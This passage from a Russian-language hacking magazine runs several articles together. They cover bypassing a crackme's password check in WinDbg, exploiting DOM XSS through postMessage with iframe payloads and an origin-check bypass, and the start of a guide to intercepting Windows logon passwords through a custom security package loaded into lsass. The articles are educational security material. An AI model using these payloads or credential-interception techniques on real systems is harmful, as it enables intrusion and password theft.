случайные адреса, а не те, что определены при компиляции. Поэтому нам
придется самим искать секцию .rdata уже не на диске, а в памяти. Легко ска-
зать, но сделать еще проще!
Найдем, по какому адресу расположен наш модуль в памяти. Для этого
в отладчике введем lmf m passcompare1. Второй параметр — имя модуля,
адрес которого надо определить. В результате на своем компе я получил:

start end module name


00007ff7`159b0000 00007ff7`159b8000 passCompare1 passCompare1.exe

Отсюда следует, что начало модуля находится по адресу 0x7ff7159b0000.


После каждой перезагрузки системы модуль конкретного приложения про-
ецируется в различные адреса. Теперь выведем карту памяти нашего модуля
и получим сведения обо всех секциях PE-файла:

!dh passCompare1

Вывод команды довольно объемный. !dh — в некотором роде аналог коман-


ды map32 из SoftICE, при этом первая предоставляет больше сведений. Най-
дем в выводе описание целевой секции .rdata:

SECTION HEADER #2
.rdata name
101C virtual size
2000 virtual address
1200 size of raw data
1400 file pointer to raw data
0 file pointer to relocation table
0 file pointer to line numbers
0 number of relocations
0 number of line numbers
40000040 flags
Initialized Data
(no align specified)
Read Only

Здесь нас интересует четвертая строчка — виртуальный адрес. Следом мож-


но найти, где в памяти располагается .rdata, для этого надо сложить началь-
ный адрес модуля и виртуальный адрес секции. Посмотрим, что там находит-
ся:

dc 0x7ff7159b0000 + 2000

Уже теплее, читаемые символы. Пройдем глубже в секцию и распечатаем


диапазон адресов:

dc 0x7ff7159b2000 0x7ff7159b2300

А вот и наш пароль по адресу 0x7ff7159b2280! Дамп памяти процесса:

00007ff7`159b2250 159b4040 00007ff7 159b40e0


00007ff7 @@.......@......
00007ff7`159b2260 ffffffff ffffffff ffffffff
ffffffff ................
00007ff7`159b2270 65746e45 61702072 6f777373 003a6472 Enter
password:.
00007ff7`159b2280 4f47796d 6170444f 6f777373 000a6472
myGOODpassword..
00007ff7`159b2290 6e6f7257 61702067 6f777373 000a6472 Wrong
password..
00007ff7`159b22a0 73736150 64726f77 0a4b4f20 00000000 Password
OK.....
00007ff7`159b22b0 00000140 00000000 00000000
00000000 @...............

Найденный адрес

Есть контакт! Задумаемся еще раз. Чтобы проверить корректность введен-


ного пользователем пароля, защита, очевидно, должна сравнить его с ори-
гинальным. А раз так, установив точку останова на чтении памяти по адресу
0x7ff7159b2280, мы поймаем за хвост сравнивающий механизм. Сказано —
сделано.
Поставим аппаратный бряк, он же бряк по доступу (break on access), так
как при программном будет ошибка доступа к памяти, возникающая по при-
чине попытки записи в секцию, доступную только для чтения, какой .rdata
и является. А программному бряку надо модифицировать память.

ba r4 0x7ff7159b2280

Первый параметр — тип доступа: r — чтение; второй параметр — количество


байтов, подвергаемых операции; последний параметр — адрес.
По команде g продолжим отладку и введем любой пришедший на ум
пароль, например KPNC++. Отладчик незамедлительно «всплывет» в биб-
лиотечной функции сравнения строк strcmp:

00007ffb`5d375670 488b01 mov rax, qword ptr [rcx]


00007ffb`5d375673 483b040a cmp rax, qword
ptr [rdx+rcx]
00007ffb`5d375677 75bf jne
ucrtbase!strcmp+0x8 (7ffb5d375638)
00007ffb`5d375679 4e8d0c10 lea r9, [rax+r10]
00007ffb`5d37567d 48f7d0 not rax

В силу архитектурных особенностей процессоров Intel бряк срабатывает пос-


ле инструкции, выполнившей «поползновение», то есть RIP указывают на сле-
дующую выполняемую команду. В нашем случае (выделенная строка) — jne
ucrtbase!strcmp+0x8, а к памяти, стало быть, обратилась инструкция cmp
rax, qword ptr [rdx+rcx]. А что находится в RAX? Поднимаем взгляд
еще строкой выше — mov rax, qword ptr [rcx]. Можно предположить, что
RCX содержит указатель на строку оригинального пароля (поскольку он выз-
вал всплытие отладчика), но не будем спешить с выводами, в сравнении
еще присутствует указатель [rdx+rcx]. Куда указывает он? Проверить это в
отладчике проще простого. Сначала проверим, куда указывает RCX:

0:000> dc rcx
00000093`bf5cfbd0 434e504b 000a2b2b 00000000 00000000
KPNC++..........

Оказывается, RCX указывает на введенный пользователем пароль! А куда


указывает второй указатель?

0:000> dc [rdx+rcx]
00007ff7`159b2280 4f47796d 6170444f 6f777373 000a6472
myGOODpassword..

Здесь как раз притаился оригинальный пароль! Картина начинает приобре-


тать очертания.
Теперь вопрос: а как это заломить? Вот, скажем, JNE можно поменять
на JE. Или еще оригинальнее — заменить RCX [RDX+RCX]. Тогда оригиналь-
ный пароль будет сравниваться сам с собой!
Выйдем из текущей функции, для этого надо два раза нажать кнопку Step
Out в отладчике. В результате мы окажемся в функции main, сразу после
сравнения строк:

0007ff7`159b10b2 488d15c7110000 lea


rdx, [passCompare1!`string' (7ff7159b2280)]
00007ff7`159b10b9 488d4c2420 lea
rcx, [buff{[0]} (rsp+20h)]
00007ff7`159b10be e88c0d0000 call
passCompare1!strcmp (7ff7159b1e4f)
00007ff7`159b10c3 85c0 test eax, eax
00007ff7`159b10c5 7458 je
passCompare1!main+0xaf (7ff7159b111f)

В первой строчке приведенного листинга в регистр RDX записывается ука-


затель на эталонный пароль. Чтобы проверить это, выполни команду dc
7ff7159b2280. Во второй строчке в регистр RCX помещается указатель
на содержимое строкового буфера, в который записывается введенный
пользователем пароль. После вызова strcmp следует test, проверяющий
на ноль регистр EAX. Знакомые места! Помнишь, мы посещали их дизассем-
блером? Далее следует JE, совершающий прыжок на основе предыдущего
условия.
Алгоритм действий прежний — запоминаем адрес команды TEST для пос-
ледующей замены ее на XOR или записываем последовательность байтов.
Погоди! Не стоит так спешить! Можно ли быть уверенным, что эти байтики
по этим самым адресам будут находиться в исполняемом файле? В Windows
XP и версиях до нее на это в подавляющем большинстве случаев можно было
хотя бы надеяться, но проверка не была лишней. Хотя системный загрузчик
размещал модули по заранее определенным адресам, существовали хитрые
защитные механизмы, загружавшие один и тот же модуль по двум разным
адресам одновременно. В Windows 10 такой трюк не прокатывает, винда
видит, что это один и тот же модуль, и размещает его в памяти лишь единож-
ды.
Тем не менее в Windows 10 мы даже не можем надеяться, что находя-
щиеся по определенным адресам байты, найденные в памяти с помощью
отладчика, будут по тем же адресам находиться в файле на диске. Когда
программа выполняется, все ее секции проецируются в адресное пространс-
тво виртуальной памяти, которое кардинально отличается от начальной.
В Vista и последующих системах в дело вступает механизм ASLR (Address
Space Layout Randomization), который, используя MMU (Memory Management
Unit), случайным образом изменяет расположение в адресном пространстве
процесса важных структур данных. ASLR в некоторых случаях вполне успешно
борется с переполнением буфера, возвратом в библиотеку и другими типами
атак.
ВЗЛОМ

КАК РАБОТАЕТ ЛЕГКИЙ


СПОСОБ ПОЛУЧИТЬ XSS
С ПОМОЩЬЮ POSTMESSAGE

Недавно я обнаружил новую для себя раз-


новидность XSS-уязвимостей — DOM XSS
с помощью Web Messaging. Перечитав мно-
жество страниц документации, я решил
создать единый материал по эксплуатации W0lFreaK
Независимый исследователь
XSS через эту технологию. Я опишу здесь веба https://t.me/pain_test
wolfreak449@gmail.com
наиболее распространенные недостатки
безопасности и методы их эксплуатации.

×ÒÎ ÒÀÊÎÅ DOM?

DOM (Document Object Model) — не зависящий от платформы и языка прог-


раммный интерфейс, который позволяет программам и скриптам получать
доступ к содержимому HTML-, XHTML-, XML-документов, а также изменять их
контент (содержимое, структуру, оформление). DOM-based-уязвимости воз-
никают, когда веб-сайт содержит сценарий, который принимает контролиру-
емое злоумышленником значение и передает его небезопасной функции,
называемой sink. Один из видов DOM-based-уязвимостей — DOM-based
XSS. Уязвимости этого типа возникают, когда JavaScript получает данные
от пользователя и передает их в sink, обладающий возможностью динамичес-
кого исполнения кода, например eval(), document.write() или innerHTML.

ÊÀÊ ÝÊÑÏËÓÀÒÈÐÓÞÒÑß DOM-BASED XSS?

Наиболее популярный источник DOM XSS — URL-страницы. Доступ к этому


значению осуществляется с помощью JavaScript через объект window.
location. Затем URL обрабатывается внутри существующего на странице
легитимного скрипта. В этом случае атакующий может создать ссылку с вре-
доносной нагрузкой, чтобы затем отправить ее жертве. Когда жертва перей-
дет по ссылке, исходный скрипт на странице, использующий объект window.
location, запросит адрес текущей страницы и исполнит нагрузку, которая
содержится в URL. Вот простейший пример этой уязвимости.

<body>
<script>document.write(location.href);</script>
</body>

При получении такой страницы браузер автоматически выполнит скрипт


и запишет в тело страницы (document.write) строку, взяв ее значение
из location.href (полного адреса страницы). Однако пользователь контро-
лирует значение location.href и может поместить в него произвольную
строку. Поэтому для эксплуатации XSS-уязвимости достаточно сформировать
следующую ссылку, и при ее открытии в браузере выполнится вредоносный
скрипт.

http://website.com/index.html#<script>alert(1)</script>

ÌÅÕÀÍÈÇÌÛ ÁÅÇÎÏÀÑÍÎÑÒÈ ÊÐÎÑÑ-ÄÎÌÅÍÍÎÃÎ


ÂÇÀÈÌÎÄÅÉÑÒÂÈß

Представим, что у нас есть страница сайта, который мы разработали. Мы


помещаем на нее элемент <iframe> и указываем в качестве его источника
произвольный сайт.

Принципиальная схема iframe

Если бы не было механизмов безопасности, обмен данными между элемен-


тами родительской веб-страницы и веб-страницы, которая отображается в <
iframe>, мог бы быть критически опасным для пользовательских данных.
Любой скрипт, находящийся на родительской странице, мог бы получить дос-
туп к любым данным, размещенным внутри <iframe>.
Давай рассмотрим на примере. Злоумышленник помещает на своей стра-
нице <iframe> с адресом интернет-банка, в котором пользователь был авто-
ризован ранее. Затем каким-то образом заманивает жертву на свою стра-
ницу. В результате злоумышленник может получить доступ к любым поль-
зовательским данным личного кабинета интернет-банка жертвы. Чтобы
не допустить подобного, были созданы два механизма защиты:
1. Same Origin Policy (SOP), «политика одинакового источника», — предот-
вращает кросс-доменные атаки, блокируя чтение загружаемых ресурсов
из другого источника. Источник идентифицируется по следующей тройке
параметров: схема, полное имя хоста и порт. Когда хотя бы один
из параметров у источников не совпадает, обмен данными между ресур-
сами запрещается. Например, если страница по адресу http://example.
com/index.html попробует отобразить данные из источника https://
example.com/, то это действие будет запрещено, так как у источников
не совпадает протокол.

Same Origin Policy

2. Cross-Origin Resource Sharing. Ограничения политики одинаковых


источников оказались слишком жесткими. Поэтому для более тонкой нас-
тройки доступа к ресурсам создали «механизм совместного исполь-
зования ресурсов разными источниками» — CORS. Он регламентирует
три категории сетевого взаимодействия:

• запись из разных источников. Эта категория регламентирует переадре-


сации, отправки форм и переходы по ссылкам. По умолчанию все эти дей-
ствия разрешены;
• вставка из разных источников. Эта категория регламентирует элементы,
загружаемые посредством тегов <link>, <script>, <img>, <video>, <
audio>, <iframe> и других. По умолчанию все они разрешены, однако
работоспособность тега <iframe> может быть дополнительно ограниче-
на с помощью заголовка X-Frame-Options;
• считывание из разных источников. Эта категория регламентирует элемен-
ты, загружаемые через AJAX и fetch. По умолчанию эти возможности заб-
локированы.

WWW
Подробнее о CORS и SOP ты можешь прочитать,
к примеру, в этих статьях на «Хабрахабре»:
«CORS для чайников: история возникновения,
как устроен и оптимальные методы работы»
и «Политика общего происхождения и CORS:
визуальное руководство».

WEB MESSAGING API

Window.postMessage() — это метод, позволяющий передавать данные меж-


ду документами, которые загружены в разных окнах или фреймах, в том числе
между документами, полученными с разных доменов. Если на сайте коррек-
тно настроены механизмы безопасности (SOP и CORS), использование
postMessage будет единственным доступным способом передачи данных
между документами на разных доменах. Запросы, созданные с помощью про-
чих методов (как, например, XMLHttpRequest или Fetch API), будут заб-
локированы в соответствии с SOP и CORS.
Поиск информации о технологии postMessages привел меня к официаль-
ной документации Mozilla. Обычно сценариям из разных источников раз-
решен доступ друг к другу тогда и только тогда, когда они соответствуют
Same Origin Policy (одинаковая схема, имя хоста и порт), включая сценарии
внутри фрейма, которые обращаются к родителю фрейма. Window.
postMessage() предоставляет контролируемый механизм для безопасного
обхода этого ограничения. Также я нашел в документации способы обес-
печения связи между родительской страницей и страницей внутри фрейма.
В общем виде дочерний <iframe> должен быть подписан на событие «сооб-
щение»:

window.addEventListener("message", (event) => {...}, false);

Здесь message — ожидаемое сообщение.


В таком случае родительская страница может передать дочернему фрей-
му сообщение с помощью такого метода:

postMessage(message, targetOrigin, transfer)

Здесь message — отправляемое сообщение, эти данные автоматически


сериализуются для передачи в дочерний фрейм, а targetOrigin указывает
источник родительского окна.
В качестве targetOrigin допускается использовать звездочку, которая
указывает на то, что получить сообщение может кто угодно. Либо можно ука-
зать конкретный URI, который будет проверен внутри слушателя в дочернем
фрейме. Если Origin страницы не совпадает с targetOrigin внутри этой фун-
кции, событие не будет отправлено. Этот механизм обеспечивает контроль
над тем, куда отправляются сообщения. Например, если postMessage
используется для отправки пароля, необходимо, чтобы этот аргумент соот-
ветствовал целевому URI. Это позволит предотвратить хищение пароля зло-
умышленником через недоверенный ресурс.

DOM-BASED XSS ×ÅÐÅÇ WEB MESSAGING

Давай посмотрим, как можно использовать веб-сообщения в качестве


источника для создания и эксплуатации DOM XSS на целевой странице. Если
целевая страница обрабатывает входящие сообщения небезопасным обра-
зом (например, неверно проверяя источник входящих сообщений), то
вызываемые слушателем события потенциально могут стать приемниками
небезопасной нагрузки и источником XSS.
Например, злоумышленник может поместить на своей странице вре-
доносный <iframe> и использовать метод postMessage() для передачи дан-
ных с помощью веб-сообщения уязвимому слушателю событий. В даль-
нейшем слушатель передаст вредоносную нагрузку в приемник на дочерней
странице.
Это значит, что веб-сообщения могут быть использованы в качестве
источника нагрузки для любого из приемников дочерней веб-страницы.
Результат эксплуатации уязвимости зависит от того, как целевой документ
обрабатывает полученные сообщения.
Если целевая страница полностью доверяет отправителю, не проверяет
данные, полученные от него, и без искажений передает их в приемник, то эта
уязвимость позволит злоумышленнику совершить любые действия от лица
пользователя в контексте целевого ресурса (скомпрометировать поль-
зователя).
Давай рассмотрим разные варианты уязвимого кода.

Origin Verification îòñóòñòâóåò


Целевая страница легитимного сайта содержит следующий скрипт.

<script>
window.addEventListener('message', function(e){
document.getElementById('qwe').innerHTML = e.data;
})
</script>

В этом случае эксплуатация уязвимости возможна с помощью <iframe>,


помещенного на сервере атакующего, примерно с таким содержимым:

<iframe src="http://target.com/" onload="this.contentWindow.


postMessage('<img src=1 onerror=alert`1`>','*')">

Как видишь, слушатель сообщений не проверяет источник, а метод


postMessage указывает targetOrigin «звездочка». Процесс эксплуатации
будет выглядеть так:
• postMessage() в пейлоаде создаст сообщение, которое отправится
странице в <iframe> после того, как загрузится содержимое <iframe>;
• EventListener целевой страницы получит сообщение с атакующей
страницы;
• EventListener выполнит поиск элемента с ID qwe;
• EventListener выполнит вставку полученного сообщения в найденный
тег <div>;
• в итоге в целевую страницу будет вставлен тег img, содержащий некор-
ректный адрес источника. Это вызовет ошибку, а обработка этой ошибки
исполнит произвольный код, указанный атакующим, то есть вызовет
alert(1).

Origin verification
Представим, что целевая страница легитимного сайта содержит такой
скрипт:

window.addEventListener('message', function(e) {
if (e.origin.indexOf('normal-website.com') > -1) {
eval(e.data);
}
});

В том случае, если слушатель проверяет Origin, могут найтись проблемы


в реализации этих проверок. Например, проверку с помощью метода
indexOf можно обойти, если сделать вредоносный скрипт на многоуров-
невом домене, содержащем в себе искомую подстроку. Например, таком:

<http://www.normal-website.com.attacker.com>

Аналогичным образом обходятся проверки, которые выполняются посредс-


твом методов startsWith(), endsWith() и других.

JSON Parse
Нередки случаи, когда слушатель может выполнить одно из нескольких
заранее указанных действий, в зависимости от того, какое именно сооб-
щение он получит при выполнении postMessage. Подразумевается, что
дочерний фрейм сможет по-разному реагировать на различные сообщения,
приходящие из родительского элемента. Эта вариативность действий будет
описана в дочернем <iframe> подобным скриптом:

<script>
window.addEventListener('message', function(e) {
var iframe = document.createElement('iframe'), ACMEplayer = {
element: iframe}, d;
document.body.appendChild(iframe);
try {
d = JSON.parse(e.data);
} catch(e) {
return;
}
switch(d.type) {
case "img":
ACMEplayer.element.src = d.url;
break;
case "redirect":
window.location.replace(d.redirectUrl);
break;
}
}, false);
</script>

В данном случае в зависимости от сообщения, получаемого дочерним


iframe, он может выполнить одно из двух действий:
1. Если в результате вызова postMessage в дочерний iframe передано
сообщение, содержащее {"type" : "img", "url" : "https://
domain.com"}, дочерний iframe присвоит указанный URL свойству src
элемента ACMEplayer отображаемой в нем страницы.
2. Если в результате вызова postMessage в дочерний iframe передано
сообщение, содержащее {"type" : "redirect", "url" :
"https://domain.com"}, то дочернийiframe выполнит переход
с текущей страницы на указанный URL.

Для эксплуатации уязвимости необходимо сформировать корректный JSON-


объект, который будет передан в дочерний фрейм и правильно обработан
внутренним элементом case. Пример вредоносной нагрузки:

<iframe src=https://victim.com/ onload='this.contentWindow.


postMessage("{"type":"img","url":"javascript:alert(1)"}","*")'>

В результате отправки такого сообщения у элемента ACMEplayer в src будет


установлено значение, соответствующее URL из нашей вредоносной наг-
рузки. Поскольку второй аргумент указывает, что любой targetOrigin разрешен
для postMessage, а обработчик событий не содержит какой-либо формы про-
верки источника, полезная нагрузка будет установлена и исполнена, когда
жертва перейдет на эту страницу.

ÂÛÂÎÄÛ

Мы подробно разобрали уязвимости, которые возникают при неаккуратном


обращении с Web Messaging API для организации передачи данных между
родительской страницей и загружаемой внутри <iframe>. Вот несколько
рекомендаций, которые позволят избежать подобных проблем на своем сай-
те:
• проверяй оригинальность источника сообщения, чтобы предотвратить
внедрение конструкций с недоверенных сайтов;
• используй безопасные способы проверки подлинности оригинального
источника сообщения;
• проверяй сообщения на наличие потенциально опасных содержаний
и команд перед их выполнением;
• используй механизмы шифрования для защиты конфиденциальности
сообщений во время передачи.

Ну а если ты пентестер, а не веб-дизайнер, то не забудь проверить эти тех-


ники, когда встретишь веб-сообщения.
ВЗЛОМ

ПОСТАВЩИК
КАК WINDOWS
РАСКРЫВАЕТ ПАРОЛЬ
ПОЛЬЗОВАТЕЛЯ

Большинство механизмов защиты


в Windows строится на паролях учетных
записей пользователей. В сегодняшней
статье мы разберем несколько способов
перехвата паролей в момент авторизации MichelleVermishelle
17 y.o. | TG: @MichaelZhm
пользователя и напишем код для автомати- michael.zhmailo@yandex.ru

зации этого процесса.

Windows имеет сложную систему аутентификации со множеством компонен-


тов. Фундаментом этой системы можно считать LSA (Local Security Authority)
и SSP.
LSA — огромная подсистема, которая служит для проверки подлинности
пользователей, их регистрации, смены пароля и подобных операций. Еще в
LSA хранится информация обо всех аспектах безопасности локального
компьютера, например количестве неуспешных вводов пароля для блокиров-
ки учетной записи. Посредством LSA можно даже назначать привилегии поль-
зовательским учеткам, для этого разработан инструмент Privileger.
SSP тоже не так прост, как кажется: мы рассмотрели его использование
в клиент-серверных процессах в прошлой статье. Он не только помогает раз-
работчикам шифровать данные, обеспечивать целостность передаваемой
информации, выстраивать контекст, но и может расширить стандартную
аутентификацию. Правда, для этой цели будет использоваться не просто SSP,
а SSP/AP, о котором мы поговорим позже.

ÊÎÌÏÎÍÅÍÒÛ ÁÅÇÎÏÀÑÍÎÑÒÈ

Их можно считать кирпичиками, из которых строится вся огромная система


аутентификации в Windows. Отмечу, что теория из этой статьи будет рас-
пространяться и на последующий материал. Мы начнем с простейшего
перехвата пароля, а затем будем понемногу усложнять себе задачу.

Security Package
Security Package (SP) — программная реализация некоего протокола
безопасности. Security Package содержатся в SSP (и/или SSP/AP) в виде DLL-
файлов. Например, Kerberos и NTLM находятся в SSP Secur32.dll. Да, имен-
но в Secur32.dll, так как именно этот SSP делегирует функции безопас-
ности нужному SP. Например, если служба требует аутентификацию
по Kerberos, то Secur32.dll вызовет Kerberos.dll.

Работа SP

SSP/AP (èëè æå ïðîñòî AP)


AP — Authentication Package. Представляет собой библиотеку DLL, которая
тоже содержит один или несколько SP. Главное отличие от стандартного SSP
заключается в том, что SSP/AP может выступать в качестве пакета аутен-
тификации (AP), то есть проверять подлинность введенных данных при входе
пользователя в систему.
Тем не менее SSP/AP выполняет и все функции стандартного SSP (выс-
траивать контекст, шифровать данные и прочие). Чтобы SSP/AP мог функци-
онировать и в качестве пакета аутентификации, и в качестве обычного SSP
для клиент-серверных процессов, при запуске системы он загружается
в пространство процесса lsass.exe.
Также, если требуется работать лишь с клиент-серверными функциями
конкретного SSP/AP, он без проблем может быть загружен в клиент-сер-
верное приложение. Например, методом динамического (функция
LoadLibrary()) либо статического связывания (pragma comment), то есть
без загрузки в процесс lsass.exe. В таком случае функции пакета аутен-
тификации использоваться не будут.

SSP/AP в lsass.exe и клиентских процессах

Security Providers
Security Providers не стоит путать с Security Package. Они все-таки различа-
ются.
Провайдеры безопасности реализованы в виде DLL и позволяют выпол-
нить так называемую вторичную аутентификацию. То есть после того,
как пользователь прошел аутентификацию на одной машине, он может прой-
ти аутентификацию и на другой машине, например на сервере Linux. Таким
образом, пользователь получает доступ к ресурсам UNIX-сервера с машины
Windows без дополнительной аутентификации. Это называется Single Sign-
On.

Работа Security Providers

Credential Providers
Провайдеры учетных данных — COM-объекты, служащие для беспарольного
доступа к системе. Реализованы тоже в виде динамических библиотек DLL.
Например, для распознавания лица используется FaceCredentialProvider.
dll, для смарт-карт — SmartcardCredentialProvider.dll.
Также может использоваться сторонний поставщик учетных данных. Все
доступные поставщики учетных данных перечислены здесь:

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\
Credential Providers

Каждый ключ по этому пути реестра идентифицирует определенный класс


поставщика безопасности по его CLSID. Сам CLSID должен быть зарегистри-
рован в HKCR\CLSID, так как является классом COM. Для изучения всех дос-
тупных поставщиков также можно воспользоваться инструментом CPlist.exe.

Password Filters
С помощью Password Filters можно расширить стандартную парольную
политику на конкретных хостах. Когда создается запрос на смену пароля, LSA
вызывает все пакеты уведомлений, чтобы проверить, удовлетворяет ли новый
пароль фильтрам, реализованным внутри пакета. Причем каждый пакет уве-
домлений вызывается дважды:
1. Для проверки нового пароля. Если какой-то из пакетов уведомлений сооб-
щает, что пароль не подходит, система потребует у пользователя указать
иной пароль.
2. Для уведомления о том, что пароль изменился. Этот вызов произойдет
только тогда, когда все пакеты уведомлений сообщили, что пароль нор-
мальный и соответствует их фильтрам.

Password Filter можно считать частным случаем Notication Package.

Notication Package в случае проверки пароля

Êàê ïðîèñõîäèò âõîä ïîëüçîâàòåëÿ â ñèñòåìó


Перед тем как мы сможем перехватить пароль, следует разобраться с про-
цессом входа пользователя в систему. В этой статье мы не будем вдаваться
в подробности инициализации Winlogon, создания рабочих столов, GINA.
Просто знай, что именно благодаря процессу Winlogon.exe осуществляется
интерактивный вход. Система запустилась, пользователь сел за клавиатуру.
1. Для начала аутентификации отправляется комбинация клавиш SAS (по
умолчанию Ctrl + Alt + Del). Winlogon получает это сообщение, начинается
процесс входа.
2. Так как в современных системах присутствует множество вариантов бес-
парольного входа (отпечаток пальца, распознавание лица), то Winlogon
обращается к Credential Providers, чтобы получить информацию об аутен-
тифицирующемся пользователе.
3. Вне зависимости от ответа провайдера учетных данных Winlogon порож-
дает процесс LogonUI.exe. Он предоставляет интерфейс для ввода
пароля и завершается после окончания этого действия. Таким образом,
LogonUI.exe может перезапускаться бесконечное количество раз, если
вдруг возникают какие-либо ошибки. Как следствие, обеспечивается
защита от возможного краша Winlogon.exe.
4. После того как пользователь ввел свой логин и пароль либо если провай-
дер учетных данных вернул их, Winlogon создает уникальный SID для входа
этого пользователя. Данный SID назначается всему текущему экземпляру
рабочего стола (клавиатура, мышь, экран). После чего идет обращение
к процессу lsass.exe с целью аутентификации пользователя.
5. Обращение можно разделить на несколько этапов. Сначала Winlogon.
exe регистрирует себя как процесс аутентификации. Делается
это вызовом функции LsaRegisterLogonProcess(). В случае успешного
вызова процесс получает хендл на LSA для последующего взаимодей-
ствия. Причем взаимодействие будет осуществляться посредством ALPC
(Advanced Local Procedure Calls).
6. Далее Winlogon.exe получает хендл на пакет аутентификации MSV1_0 (и
Kerberos в случае AD, тут мы рассматриваем только MSV1_0) путем вызова
LsaLookupAuthenticationPackage():

NTSTATUS LsaLookupAuthenticationPackage(
[in] HANDLE LsaHandle,
[in] PLSA_STRING PackageName,
[out] PULONG AuthenticationPackage
);

Эта функция ничего особенного не требует. LsaHandle — хендл, получен-


ный вызовом LsaRegisterLogonProcess(); PackageName — имя пакета
аутентификации, например MSV1_0_PACKAGE_NAME;
AuthenticationPackage — полученный идентификатор желаемого
для использования Winlogon пакета аутентификации.
7. Получив идентификатор пакета аутентификации, Winlogon передает ему
информацию в вызове функции LsaLogonUser(). Эта информация содер-
жит SID из шага 4, а также информацию об аутентифицирующемся поль-
зователе. Передача SID помогает предотвратить несанкционированный
доступ к рабочему столу, например если взять и ввести пароль одного
пользователя, а попробовать получить доступ к столу другого.
8. Внутри MSV1_0 вызывается функция LsaApLogonUserEx(), где имя поль-
зователя и пароль проходят аутентификацию при помощи базы данных
SAM. Если аутентификация успешна, там же создается сессия входа в сис-
тему: вызывается LsaCreateLogonSession(), и ей присваивается LogonID
(LUID), который генерируется пакетом аутентификации. После этого
MSV1_0 добавляет специальную информацию к сессии с помощью вызова
LsaAddCredential(). Обычно это имя пользователя, имя домена и кон-
трольные суммы LM/NT-хеша пароля. Эта информация впоследствии
понадобится, если пользователь попытается получить доступ к удаленным
узлам.
9. Далее Winlogon дожидается ответа от LSA по поводу введенных учетных
данных.
10. После успешной аутентификации пользователя запускается инициали-
зация пользовательской оболочки (User Shell). Пользовательская оболоч-
ка — совокупность процессов, запущенных от лица конкретной учетной
записи.
11. Просто взять и создать пользовательскую оболочку, например с помощью
обычного CreateProcess(), не получится. Сначала lsass.exe вызывает
функцию NtCreateToken() для создания токена доступа. В этом токене
будет содержаться информация о самом пользователе. Именно этот
токен в дальнейшем станет использовать Winlogon.exe для создания
процесса от лица аутентифицированного пользователя.
Возможно, у тебя сразу появилась коварная мысль: «А могу ли я сам
генерировать токены?» Как бы да и как бы нет. Для успешного создания
токена требуется привилегия SeCreateTokenPrivilege, которой обла-
дает только lsass.exe. Если у нас есть эта привилегия, то мы сможем
нафантазировать что душе угодно. Абсолютно любой токен — любые груп-
пы, привилегии, вне зависимости от каких-либо глобальных настроек
и конфигураций. Например, я получал права на выполнение кода от лица
группы.

Выполнение кода от лица группы

И ставил SID = 0.

Null sid

12. Дополнительно Winlogon.exe собирает информацию о пользовательской


среде. Информация эта самая разная. Заострю внимание на начальном
процессе, он же системный шелл, — процессе, который будет порождать
остальные процессы в системе от лица пользователя и применяя все уста-
новленные настройки пользовательского профиля. Все эти данные хра-
нятся в HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\
Winlogon. В ключе Userinit по умолчанию указан процесс userinit.exe,
который как раз таки восстанавливает настройки профиля пользователя.
А в ключе shell — системный шелл, обычно это explorer.exe.
13. Сначала идет обращение именно к Userinit, программа запускается,
выполняется инициализация среды, а затем userinit.exe обращается
к ключу shell и порождает системный шелл. После этого процесс
Userinit завершается. Собственно, ровно по этой причине мы и не
видим родительского процесса у explorer.exe — userinit.exe уже
завершился.
14. Пользователь заходит в систему и получает доступ к своему рабочему сто-
лу.

Процесс аутентификации

Èíèöèàëèçàöèÿ LSA
Именно LSA играет ключевую роль в процессе аутентификации пользователя.
Каким образом LSA будет инициализировать наши вредоносные SP, AP и NP?
При запуске устройства LSA автоматически подгружает все зарегистри-
рованные SP, реализованные в виде DLL, в свое адресное пространство. Все
зарегистрированные DLL находятся по следующему пути:

HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages

Ключ со всеми SP

Если этот ключ пустой, то используется значение по умолчанию:

kerberos"\0"msv1_0"\0"schannel"\0"wdigest"\0"tspkg"\0"pku2u"\0

Все эти DLL указываются без полного пути. Microsoft рекомендует помещать
SP в папку %systemroot%/system32. Далее у каждого SP вызывается функция
SpLsaModeInitialize(), благодаря которой LSA получает специальную таб-
лицу SECPKG_FUNCTION_TABLE, содержащую указатели на функции. Они
реализуют данный пакет безопасности. Выглядит это примерно вот так:

SECPKG_FUNCTION_TABLE SecurityPackageFunctionTable[] =
{
{
NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, SpInitialize,
SpShutDown, SpGetInfo, SpAcceptCredentials, NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL
}
};

NTSTATUS NTAPI SpLsaModeInitialize(ULONG LsaVersion, PULONG


PackageVersion, PSECPKG_FUNCTION_TABLE * ppTables, PULONG pcTables)
{
*PackageVersion = SECPKG_INTERFACE_VERSION;
*ppTables = SecurityPackageFunctionTable;
*pcTables = 1;
return 0;
}

Если SpLsaModeInitialize() успешно вернула таблицу, то LSA вызывает


SpInitialize(), которой передает структуру LSA_SECPKG_FUNCTION_TABLE.
В этой структуре содержатся указатели на функции, которые предоставляет
LSA для использования внутри SP. Например, функцию CreateToken() можно
использовать для создания токена (это не токен доступа, а токен, который
генерируется во время выстраивания контекста в клиент-серверных при-
ложениях).
Третьей вызывается SpGetInfo(), благодаря которой LSA получает
информацию о пакете. Например, его имя, описание и версию. Эта
информация будет отображаться при вызове функции
EnumerateSecurityPackages():

NTSTATUS NTAPI SpGetInfo(PSecPkgInfoW PackageInfo)


{
PackageInfo->fCapabilities = SECPKG_FLAG_ACCEPT_WIN32_NAME |
SECPKG_FLAG_CONNECTION | SECPKG_FLAG_LOGON;
PackageInfo->Name = (SEC_WCHAR*)L"MishaSSP";
PackageInfo->Comment = (SEC_WCHAR*)L"SSP with a wide Russian
soul";
PackageInfo->wRPCID = SECPKG_ID_NONE;
PackageInfo->cbMaxToken = 0;
PackageInfo->wVersion = 1337;
return 0;
}

Далее LSA загружает все доступные пакеты аутентификации (AP). Их список


извлекается из следующего ключа реестра:

HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Authentication Packages

Продолжение статьи →
ВЗЛОМ ← НАЧАЛО СТАТЬИ

ПОСТАВЩИК
НЕБЕЗОПАСНОСТИ
КАК WINDOWS РАСКРЫВАЕТ ПАРОЛЬ
ПОЛЬЗОВАТЕЛЯ

Ключ со всеми AP

В каждом из них будет вызвана функция LsaApInitializePackage(), в ней


LSA передаст таблицу LSA_DISPATCH_TABLE, содержащую все функции LSA,
которые может дергать AP. AP, в свою очередь, должен заполнить последний
